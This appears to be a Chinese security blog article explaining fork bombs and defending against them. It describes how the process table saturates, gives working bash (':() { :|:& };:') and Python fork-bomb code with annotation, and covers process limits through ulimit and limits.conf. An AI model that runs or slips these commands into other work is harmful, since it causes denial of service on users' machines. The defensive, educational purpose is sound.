【安全測試】程序炸彈:Fork Bomb
阿新 • • 發佈:2020-12-29
一、fork bomb介紹
fork炸彈(fork bomb)在計算機領域中是一種利用系統呼叫fork(或其他等效的方式)進行的阻斷服務攻擊。與病毒與蠕蟲不同的是,fork炸彈沒有傳染性,而且fork炸彈會使有程序/程式限制的系統無法開起新工作階段,對於不限制程序數的系統則使之停止迴應。以fork炸彈為代表的自我複製程式有時亦被稱為wabbit。
二、原理
fork炸彈以極快的速度建立大量程序(程序數呈以2為底數的指數增長趨勢),並以此消耗系統分配予程序的可用空間使程序表飽和,而系統在程序表飽和後就無法執行新程式,使系統的正常運作受到嚴重影響。
除了惡意觸發fork炸彈破壞的情況外,軟體開發中有時也會不慎在程式中嵌入fork炸彈,如在用於監聽網路套接字並行使客戶端-伺服器結構系統中伺服器端職責的應用程式中可能需要無限地進行迴圈(loop)與派生(fork)操作(類似下節示例程式所示),而在這種情況下原始碼內的細微錯誤就可能在測試中“引爆”fork炸彈。
三、攻擊手段
- linux fork炸彈:
:() { :|:& };:
或者
bomb()
{
bomb|bomb&
};
bomb
可以更改格式註解下:
:()
{
:|: &
}
;
:
註解:
- 第 1 行說明定義一個函式,函式名為:,沒有可選引數。
- 第 2 行表示函式體開始。
- 第 3 行是函式體,首先它遞迴呼叫本函式,然後利用管道呼叫一個新程序(它要做的事情也是遞迴呼叫本函式),並將其放到後臺執行。
- 第 4 行表示函式體結束。
- 第 5 行在命令列中用來分隔兩個命令用。
- 第 6 行表示呼叫本函式。
冒號”:”其實是函式名,這個bash指令碼就是在不斷的執行該函式,然後不斷fork出新的程序。
執行完,機器立馬中斷服務了:
- python fork炸彈
import os
while True:
os.fork()
三、預防
由於Fork Bomb透過不斷的開新程序來癱瘓系統,一個防止其嚴重影響系統的方法就是限定一個使用者能夠建立的程序數的上限,
ulimit -Hu 30 這個指令可以限制每一個使用者最多隻能建立30個程序
但是上面這種方式機器重啟設定會失效,最好用下面寫到配置裡的方式
通過修改配置檔案/etc/security/limits.conf來限制可生成的最大程序數來避開這枚炸彈。
XXXX - nproc 20 (在檔案件中加這麼一行,XXX是你要限制的那個使用者名稱)
而FreeBSD系統的話系統管理者可以在/etc/login.conf底下的配置檔案進行相關的設定
配置完最好試一下有沒有生效